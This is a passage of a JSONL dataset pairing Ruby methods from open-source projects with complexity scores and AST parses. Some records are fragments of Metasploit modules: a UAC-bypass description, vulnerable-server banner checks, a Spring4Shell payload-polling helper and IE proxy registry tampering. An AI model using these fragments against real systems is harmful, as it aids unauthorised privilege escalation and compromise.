\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"comments_controller.delete.notice\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"redirect_url\"]}]},\"path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to_comment_path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to_comment_path\"]}]}]}]}","id":"3dbbc1b5-d81b-4340-8631-37f0f217ce96"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20160905084502_create_web_hook_events.rb","start_line":4,"raw_source":"def change\n    create_table :web_hook_events do |t|\n      t.belongs_to :web_hook, null: false, index: true\n      t.string :headers\n      t.text :payload\n      t.integer :status, default: 0\n      t.string :response_headers\n      t.text :response_body\n      t.integer :duration, default: 0\n\n      t.timestamps null: false\n    end\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"web_hook_events\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"belongs_to\",{\"type\":\"sym\",\"children\":[\"web_hook\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"headers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"response_headers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"response_body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"duration\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"0ca1d485-8ae6-4cc0-b833-9ff6a43f4e47"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/database/batched_background_migration_worker.rb","start_line":7,"raw_source":"def self.tracking_database\n      @tracking_database ||= Gitlab::Database::MAIN_DATABASE_NAME.to_sym\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tracking_database\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tracking_database\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"MAIN_DATABASE_NAME\"]},\"to_sym\"]}]}]}","id":"a54e9dbb-bfdd-428a-880c-cc8da5435fcb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/bypassuac_sluihijack.rb","start_line":22,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows UAC Protection Bypass (Via Slui File Handler Hijack)',\n        'Description' => %q{\n          This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under\n          the Current User hive, and inserting a custom command that will get invoked when any binary\n          (.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable\n          to file handler hijacking. When we run slui.exe with changed Registry key\n          (HKCU:\\Software\\Classes\\exefile\\shell\\open\\command), it will run our custom command as Admin\n          instead of slui.exe.\n\n          The module modifies the registry in order for this exploit to work. The modification is\n          reverted once the exploitation attempt has finished.\n\n          The module does not require the architecture of the payload to match the OS. If\n          specifying EXE::Custom your DLL should call ExitProcess() after starting the\n          payload in a different process.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'bytecode-77', # UAC bypass discovery and research\n          'gushmazuko', # MSF & PowerShell module\n        ],\n        'Platform' => ['win'],\n        'SessionTypes' => ['meterpreter'],\n        'Targets' => [\n          ['Windows x86', { 'Arch' => ARCH_X86 }],\n          ['Windows x64', { 'Arch' => ARCH_X64 }]\n        ],\n        'DefaultTarget' => 0,\n        'References' => [\n          ['URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation'],\n          ['URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1']\n        ],\n        'DisclosureDate' => '2018-01-15',\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              stdapi_sys_process_execute\n            ]\n          }\n        },\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows UAC Protection Bypass (Via Slui File Handler Hijack)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under\\n\"]},{\"type\":\"str\",\"children\":[\"          the Current User hive, and inserting a custom command that will get invoked when any binary\\n\"]},{\"type\":\"str\",\"children\":[\"          (.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable\\n\"]},{\"type\":\"str\",\"children\":[\"          to file handler hijacking. When we run slui.exe with changed Registry key\\n\"]},{\"type\":\"str\",\"children\":[\"          (HKCU:\\\\Software\\\\Classes\\\\exefile\\\\shell\\\\open\\\\command), it will run our custom command as Admin\\n\"]},{\"type\":\"str\",\"children\":[\"          instead of slui.exe.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The module modifies the registry in order for this exploit to work. The modification is\\n\"]},{\"type\":\"str\",\"children\":[\"          reverted once the exploitation attempt has finished.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The module does not require the architecture of the payload to match the OS. If\\n\"]},{\"type\":\"str\",\"children\":[\"          specifying EXE::Custom your DLL should call ExitProcess() after starting the\\n\"]},{\"type\":\"str\",\"children\":[\"          payload in a different process.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bytecode-77\"]},{\"type\":\"str\",\"children\":[\"gushmazuko\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows x86\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows x64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2018-01-15\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_sys_process_execute\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"240c2d3f-37e3-4c6d-9ff0-eddcad592804"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/users/import_data/exports.rb","start_line":4,"raw_source":"def initialize(user, exports_data, files_directory)\n    @user = user\n    @exports_data = exports_data\n    @files_directory = files_directory\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"exports_data\"]},{\"type\":\"arg\",\"children\":[\"files_directory\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@exports_data\",{\"type\":\"lvar\",\"children\":[\"exports_data\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@files_directory\",{\"type\":\"lvar\",\"children\":[\"files_directory\"]}]}]}]}","id":"261d0eb7-ad31-4db0-8b11-7aaa8735e342"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/auth/basic.rb","start_line":38,"raw_source":"def valid?(auth)\n        @authenticator.call(*auth.credentials)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"auth\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@authenticator\"]},\"call\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"credentials\"]}]}]}]}","id":"d2466c96-d1cb-433a-87fc-bd59dd786df5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/demo_data/work_package_seeder.rb","start_line":193,"raw_source":"def set_work_package_relations\n      while relations_to_create.any?\n        relation_data = relations_to_create.pop\n        from_work_package = relation_data.from\n        to_work_package = find_work_package(relation_data.to_reference)\n        create_relation(\n          to: to_work_package,\n          from: from_work_package,\n          type: relation_data.type\n        )\n      end\n    end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_work_package_relations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relations_to_create\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relations_to_create\"]},\"pop\"]}]},{\"type\":\"lvasgn\",\"children\":[\"from_work_package\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation_data\"]},\"from\"]}]},{\"type\":\"lvasgn\",\"children\":[\"to_work_package\",{\"type\":\"send\",\"children\":[null,\"find_work_package\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation_data\"]},\"to_reference\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_relation\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"to_work_package\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"lvar\",\"children\":[\"from_work_package\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation_data\"]},\"type\"]}]}]}]}]}]}]}","id":"b2d97b1d-102c-483f-b8b6-40ec32a6618a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb","start_line":62,"raw_source":"def check\n    connect\n    banner = sock.get_once || ''\n    disconnect\n\n    if banner.to_s =~ /ESMTP TABS Mail Server for Windows NT/\n      return Exploit::CheckCode::Detected\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"banner\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ESMTP TABS Mail Server for Windows NT\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"164f70b2-8a4c-4a50-8e5b-d22e6db0e94a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage/metrics/instrumentations/count_bulk_imports_entities_metric.rb","start_line":34,"raw_source":"def status\n            options[:status]\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]}","id":"8ccaa5f5-fbff-4ae3-a6bd-981241ac075f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/servu_session_cookie.rb","start_line":77,"raw_source":"def check\n    connect\n    sock.put(\"\\r\\n\\r\\n\") # works\n    res = sock.get_once\n    disconnect\n\n    if (res.to_s =~ /Server: Serv-U\\/9\\.0\\.0\\.5/)\n      return Exploit::CheckCode::Appears\n    elsif (res.to_s =~ /Server: Serv-U/)\n      return Exploit::CheckCode::Detected\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"str\",\"children\":[\"\\r\\n\\r\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Server: Serv-U/9\\\\.0\\\\.0\\\\.5\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Server: Serv-U\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"b8018339-f659-40e3-9624-976fe13fd162"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/spring_framework_rce_spring4shell.rb","start_line":133,"raw_source":"def check_log_file\n    print_status(\"#{peer} - Waiting for the server to flush the logfile\")\n    print_status(\"#{peer} - Executing JSP payload at #{full_uri(@jsp_file)}\")\n\n    succeeded = retry_until_truthy(timeout: 60) do\n      res = send_request_cgi({\n        'method' => 'GET',\n        'uri' => normalize_uri(@jsp_file)\n      })\n\n      res&.code == 200 && !res.body.blank?\n    end\n\n    fail_with(Failure::UnexpectedReply, \"Seems the payload hasn't been written\") unless succeeded\n\n    print_good(\"#{peer} - Log file flushed\")\n  end","complexity_score":25.88,"ast_json":"{\"type\":\"def\",\"children\":[\"check_log_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Waiting for the server to flush the logfile\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Executing JSP payload at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\",{\"type\":\"ivar\",\"children\":[\"@jsp_file\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"succeeded\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_until_truthy\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"int\",\"children\":[60]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"ivar\",\"children\":[\"@jsp_file\"]}]}]}]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"blank?\"]},\"!\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"succeeded\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Seems the payload hasn't been written\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Log file flushed\"]}]}]}]}]}","id":"288fb8a0-c289-4eba-a625-c670d8ab6c3d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/video_conversion/aws_media_convert_adapter.rb","start_line":158,"raw_source":"def valid_settings?\n      SiteSetting.video_conversion_enabled && SiteSetting.mediaconvert_role_arn.present?\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_settings?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"video_conversion_enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"mediaconvert_role_arn\"]},\"present?\"]}]}]}","id":"a2101c48-4b78-4500-b61d-605e57606015"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/repository/git.rb","start_line":102,"raw_source":"def self.format_changeset_identifier(changeset)\n    format_revision(changeset.revision)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"format_changeset_identifier\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"changeset\"]}]},{\"type\":\"send\",\"children\":[null,\"format_revision\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changeset\"]},\"revision\"]}]}]}","id":"bdf59c0d-ea66-4da6-a076-e073e4676ddc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/users/callouts_controller.rb","start_line":8,"raw_source":"def create\n      if callout.persisted?\n        respond_to do |format|\n          format.json { head :ok }\n        end\n      else\n        respond_to do |format|\n          format.json { head :bad_request }\n        end\n      end\n    end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"callout\"]},\"persisted?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]}]}]}","id":"13603cd7-2e21-4b9e-b027-427203a79eda"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/work_packages/base_contract.rb","start_line":277,"raw_source":"def validate_parent_not_milestone\n      if model.parent&.is_milestone?\n        errors.add :parent, :cannot_be_milestone\n      end\n    end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_parent_not_milestone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"parent\"]},\"is_milestone?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"sym\",\"children\":[\"cannot_be_milestone\"]}]},null]}]}","id":"4df22093-c0ae-4970-9cec-d72e611dbdaa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/ssh_key.rb","start_line":18,"raw_source":"def key\n        @key ||= Runtime::Key::RSA.new\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Key\"]},\"RSA\"]},\"new\"]}]}]}","id":"629f84d1-9f89-496d-9181-9f1697b64afa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/ie_proxypac.rb","start_line":182,"raw_source":"def change_connection(offset, value, key)\n    value_default = 'DefaultConnectionSettings'\n    begin\n      value_con = registry_getvaldata(key, value_default)\n      binary_data = value_con.unpack('H*')[0]\n      binary_data[offset, 2] = value\n      registry_setvaldata(key, value_default, ['%x' % binary_data.to_i(16)].pack('H*'), 'REG_BINARY')\n    rescue ::RuntimeError, Rex::TimeoutError\n      return false\n    end\n\n    return true\n  